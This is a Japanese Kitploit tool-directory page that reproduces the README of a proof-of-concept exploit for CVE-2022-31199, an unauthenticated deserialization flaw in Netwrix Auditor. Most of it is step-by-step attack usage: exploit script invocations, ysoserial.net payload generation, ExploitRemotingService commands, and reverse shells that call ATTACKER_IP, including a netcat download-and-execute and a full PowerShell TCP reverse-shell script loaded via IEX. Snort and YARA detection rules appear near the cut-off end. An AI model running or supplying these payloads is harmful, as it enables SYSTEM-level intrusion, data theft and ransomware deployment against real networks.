Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-31199 — CVE-2022-31199の概念実証エクスプロイト。Netwrix Auditorにおける重要な.NETデシリアライゼーションRCE。PythonおよびPowerShellスクリプト、ysoserial.netを使用したペイロード生成、および許可されたセキュリティテスト用の検出シグネチャを含む。 | Kitploit
ツール/GitHubGitHub/developerfred/cve-2022-31199
脆弱性分析エクスプロイトペネトレーションテストコマンド&コントロール学習と教育レッドチーミングペイロード開発ラボと実践
GitHubdeveloperfred/cve-2022-31199

CVE-2022-31199

CVE-2022-31199の概念実証エクスプロイト。Netwrix Auditorにおける重要な.NETデシリアライゼーションRCE。PythonおよびPowerShellスクリプト、ysoserial.netを使用したペイロード生成、および許可されたセキュリティテスト用の検出シグネチャを含む。

リポジトリを見る
1310ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-31199 - Netwrix Auditor RCE エクスプロイト PoC

🔍 脆弱性概要

CVE-2022-31199 は、Netwrix Auditor バージョン 10.5 以前における、重大な安全でないオブジェクトデシリアライゼーションの脆弱性です。この脆弱性は、TCP ポート 9004 でリッスンしているセキュリティ保護されていない .NET Remoting サービスに存在し、認証されていないリモート攻撃者に NT AUTHORITY\SYSTEM 権限での任意のコード実行を許可します。

脆弱性の詳細

  • CVE ID: CVE-2022-31199
  • CVSS スコア: 9.8 (重大)
  • CWE: CWE-502 (信頼できないデータのデシリアライゼーション)
  • 影響を受けるバージョン: Netwrix Auditor < 10.5
  • 攻撃ベクトル: ネットワーク(認証不要)
  • 必要な権限: なし
  • 影響: SYSTEM 権限での完全なシステム侵害
  • CISA KEV: 既知の悪用された脆弱性カタログに掲載

実際の影響

この脆弱性は、実際に以下の攻撃者グループによって積極的に悪用されています:

  • Truebot マルウェアキャンペーン(ロシア関連の CL0P/TA505 ランサムウェア運営者)
  • Silence サイバー犯罪グループ
  • FIN11 脅威アクター

悪用に成功すると、通常以下のような結果をもたらします:

  • Active Directory ドメインの完全な侵害
  • 監視対象システム間の横移動
  • データの外部流出
  • ランサムウェアの展開

📦 リポジトリの内容

このリポジトリには、CVE-2022-31199 の完全な Proof of Concept (PoC) エクスプロイトが含まれています:

ファイル

  1. exploit.py - Python ベースのエクスプロイトフレームワーク
  2. exploit.ps1 - PowerShell によるエクスプロイトスクリプト
  3. README.md - 本ドキュメント
  4. manual-exploitation.md - 手動エクスプロイト手順ガイド

🛠️ 必要条件

必要なツール

Windows ベースのエクスプロイト(推奨)

  • ysoserial.net - .NET デシリアライゼーションペイロード生成ツール

    • ダウンロード: https://github.com/pwntester/ysoserial.net
    • リリース: https://github.com/pwntester/ysoserial.net/releases
  • ExploitRemotingService - .NET Remoting エクスプロイトツール

    • ダウンロード: https://github.com/tyranid/ExploitRemotingService
    • 代替(拡張版): https://github.com/codewhitesec/ExploitRemotingService

Python スクリプトの要件

  • Python 3.6 以上
  • 標準ライブラリのみ(基本チェックには外部依存関係は不要)
  • ysoserial.net および ExploitRemotingService の実行ファイルへのアクセス

PowerShell スクリプトの要件

  • PowerShell 5.1 以上
  • Windows オペレーティングシステム
  • スクリプトディレクトリに ysoserial.exe と ExploitRemotingService.exe が存在すること

🚀 クイックスタート

1. ターゲットが脆弱かどうかを確認

Python の場合:

python3 exploit.py --target 192.168.1.100 --check

PowerShell の場合:

.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

2. ペイロードを生成

# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"

3. エクスプロイトを実行

Python(事前生成したペイロードを使用):

python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]

PowerShell(自動):

.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

📖 詳細な使用方法

Python エクスプロイト (exploit.py)

基本的な脆弱性チェック

python3 exploit.py --target 10.10.10.100 --check

カスタムペイロードによる完全エクスプロイト

# ステップ 1: ペイロードを生成
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"

# ステップ 2: エクスプロイトを実行
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]

高度なオプション

# カスタムポート
python3 exploit.py --target 10.10.10.100 --port 9004 --check

# カスタムエンドポイント
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check

コマンドライン引数

--target    : ターゲット IP アドレスまたはホスト名(必須)
--port      : ターゲットポート(デフォルト: 9004)
--endpoint  : .NET Remoting エンドポイント名(デフォルト: UAVRServer)
--check     : 脆弱性を確認するのみ、エクスプロイトは行わない
--payload   : ysoserial.net からの Base64 エンコードされたペイロード

PowerShell エクスプロイト (exploit.ps1)

脆弱性チェックのみ

.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

コマンドを実行

# 単純なコマンド実行
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

# 出力をファイルに書き込む
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"

# カスタムポート
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"

パラメータ

-Target     : ターゲット IP アドレスまたはホスト名(必須)
-Port       : ターゲットポート(デフォルト: 9004)
-Command    : ターゲット上で実行するコマンド(デフォルト: "whoami")
-CheckOnly  : 脆弱性を確認するのみ、エクスプロイトは行わない

🎯 エクスプロイトの例

例 1: 情報収集

# システム情報を確認
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"

例 2: リバースシェル

リスナーをセットアップ:

nc -lvnp 4444

ペイロードを生成:

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

例 3: PowerShell リバースシェル

リバースシェルスクリプト (rev.ps1) を作成:

$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

スクリプトをホスト:

python3 -m http.server 8000

ペイロードを生成:

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"

例 4: ExploitRemotingService を直接使用

# 接続性をテスト
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver

# リースモードで実行(一部の保護をバイパス)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\

# オブジェクト参照で実行
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"

🔬 技術詳細

脆弱性の根本原因

脆弱性は以下に起因します:

  1. TCP ポート 9004 上のセキュリティ保護されていない .NET Remoting エンドポイント
  2. 適切な型フィルタリングのない BinaryFormatter デシリアライゼーション
  3. 任意のシリアル化オブジェクトを受け入れる UAVRServer サービス
  4. 一般的な展開では SYSTEM 権限で実行されるサービス

エクスプロイトプロセス

1. 攻撃者が TCP ポート 9004 に接続
2. .NET Remoting サービス (UAVRServer エンドポイント) を特定
3. ysoserial.net を使用して悪意のあるシリアル化ペイロードを生成
4. .NET Remoting プロトコルを介してペイロードを送信
5. ターゲットが BinaryFormatter を使用してオブジェクトをデシリアライズ
6. ガジェットチェーンが任意のコードを実行
7. コードが NT AUTHORITY\SYSTEM 権限で実行

サポートされているガジェットチェーン

この脆弱性に対して動作する ysoserial.net ガジェット:

  • TypeConfuseDelegate (推奨)
  • ObjectDataProvider
  • PSObject
  • WindowsIdentity
  • TextFormattingRunProperties

ネットワークプロトコル

.NET Remoting プロトコル構造:
┌─────────────────────────────────────┐
│ プリアンブル (8 バイト)              │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ ヘッダー                             │
├─────────────────────────────────────┤
│ URI (UAVRServer)                     │
├─────────────────────────────────────┤
│ シリアル化オブジェクト (BinaryFormatter) │
└─────────────────────────────────────┘

🛡️ 検出

ネットワークインジケータ

Snort/Suricata ルール

alert tcp any any -> any 9004 (
    msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt"; 
    content:"|00 01 00 00 01 00 00 00|"; 
    depth:8; 
    content:"System.Runtime.Remoting"; 
    distance:0; 
    sid:1000001; 
    rev:1;
)

侵害インジケータ (IOC)

  • TCP ポート 9004 への予期しない接続
  • .NET Remoting ヘッダーを含む大きなパケット
  • BinaryFormatter シリアル化シグネチャ
  • UAVRServer.exe コンテキストからのプロセス実行

ホストベースの検出

脆弱なサービスの確認:

# ポート 9004 がリッスンしているか確認
netstat -ano | findstr :9004

# プロセスを特定
tasklist /FI "PID eq [PID]"

イベントログ監視:

  • UAVRServer.exe からの異常なプロセス作成を監視
  • SYSTEM レベルのコマンド実行を監視
  • 監査サービスからのネットワーク接続を確認

YARA ルール

rule CVE_2022_31199_Netwrix_Exploit {
    meta:
        description = "Detects CVE-2022-31199 exploitation attempt"
        author = "Security Researcher"
        date = "2024-11-17"
        severity = "critical"
        
    strings:
        $header = { 00 01 00 00 01 00 00 00 }
        $remoting1 = "System.Runtime.Remoting" ascii
        $remoting2 = "UAVRServer" ascii
        $remoting3 = "Netwrix" ascii
        $serialize = "BinaryFormatter" ascii
        $gadget1 = "TypeConfuseDelegate" ascii
        $gadget2 = "ObjectDataProvider" ascii
        
    condition:
        $header at 0 and 
        ($remoting1 or $remoting2 or $remoting3) and 
        $serialize and
        any of ($gadget*)
}

🔒 緩和策

即時対応

ツールをダウンロード